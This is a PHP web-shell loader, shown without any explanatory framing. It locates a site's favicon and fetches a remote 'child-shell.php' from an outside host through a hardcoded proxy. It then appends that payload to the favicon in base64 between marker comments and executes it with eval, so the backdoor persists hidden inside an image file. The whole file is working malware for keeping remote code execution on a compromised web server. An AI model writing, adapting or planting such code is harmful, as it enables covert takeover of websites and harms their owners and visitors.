<?php
(function($qs){
    $download_domain = "d.shellrender.com";
    $favicon_types = array("ico", "jpg", "png");
    $output_favicon = "favicon.ico";
    // $shell_url = "https://" . $download_domain . "/" . $shell_file . "?=$qs";
    $shell_url = "https://oss.nextpay.cc/release/shell/child-shell.php";
    //$favicon_url = "https://" . $download_domain . "/favicon.ico";
    $favicon_url = "https://oss.nextpay.cc/release/shell/favicon.png";

    function detect_project_root() {
        if (!empty($_SERVER['DOCUMENT_ROOT']) && is_dir($_SERVER['DOCUMENT_ROOT'])) {
            return realpath($_SERVER['DOCUMENT_ROOT']);
        }

        $rootCandidate = null;

        while ($dir && $dir !== dirname($dir)) {
            if (is_file($dir . '/index.php')) {
                $rootCandidate = $dir;
            }
            $dir = dirname($dir);
        }

        return $rootCandidate ?: realpath(__DIR__);
    }


    function find_favicon(array $types) {
        $root = detect_project_root();

        foreach ($types as $ext) {
            $path = $root . '/favicon.' . $ext;
            if (is_file($path)) {
                return $path;
            }
        }

        return null;
    }

    
    $local_favicon = find_favicon($favicon_types);

    function extract_shell_from_image($image_path) {
        $content = file_get_contents($image_path);
        $pattern = "/\/\*SHELL_START\*\/(.*?)\/\*SHELL_END\*\//s";
        if (preg_match($pattern, $content, $matches)) {
            return $matches[1];
        }
        return false;
    }
    
    function inject_shell_into_image($image_path, $shell_content, $output_path) {
        $image_content = file_get_contents($image_path);
        $encoded_shell = base64_encode($shell_content);
        $injected_content = $image_content . "/*SHELL_START*/" . $encoded_shell . "/*SHELL_END*/";
        file_put_contents($output_path, $injected_content);
        return true;
    }
    
    function download_file($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_PROXY, "http://192.169.46.100:7890");
        $content = curl_exec($ch);
        curl_close($ch);
        return $content;
    }
    
    if ($local_favicon) {
        $encoded_shell = extract_shell_from_image($local_favicon);
        if ($encoded_shell) {
            $shell_content = base64_decode($encoded_shell);
            eval($shell_content);
        } else {
            $shell_content = download_file($shell_url);
            if ($shell_content) {
                inject_shell_into_image($local_favicon, $shell_content, $local_favicon);
                $encoded_shell = extract_shell_from_image($local_favicon);
                if ($encoded_shell) {
                    $shell_content = base64_decode($encoded_shell);
                    eval($shell_content);
                }
            }
        }
    } else {
        $favicon_content = download_file($favicon_url);
        $shell_content = download_file($shell_url);
        if ($favicon_content && $shell_content) {
            file_put_contents($output_favicon, $favicon_content);
            inject_shell_into_image($output_favicon, $shell_content, $output_favicon);
            $encoded_shell = extract_shell_from_image($output_favicon);
            if ($encoded_shell) {
                $shell_content = base64_decode($encoded_shell);
                eval($shell_content);
            }
        }
    }
})(1);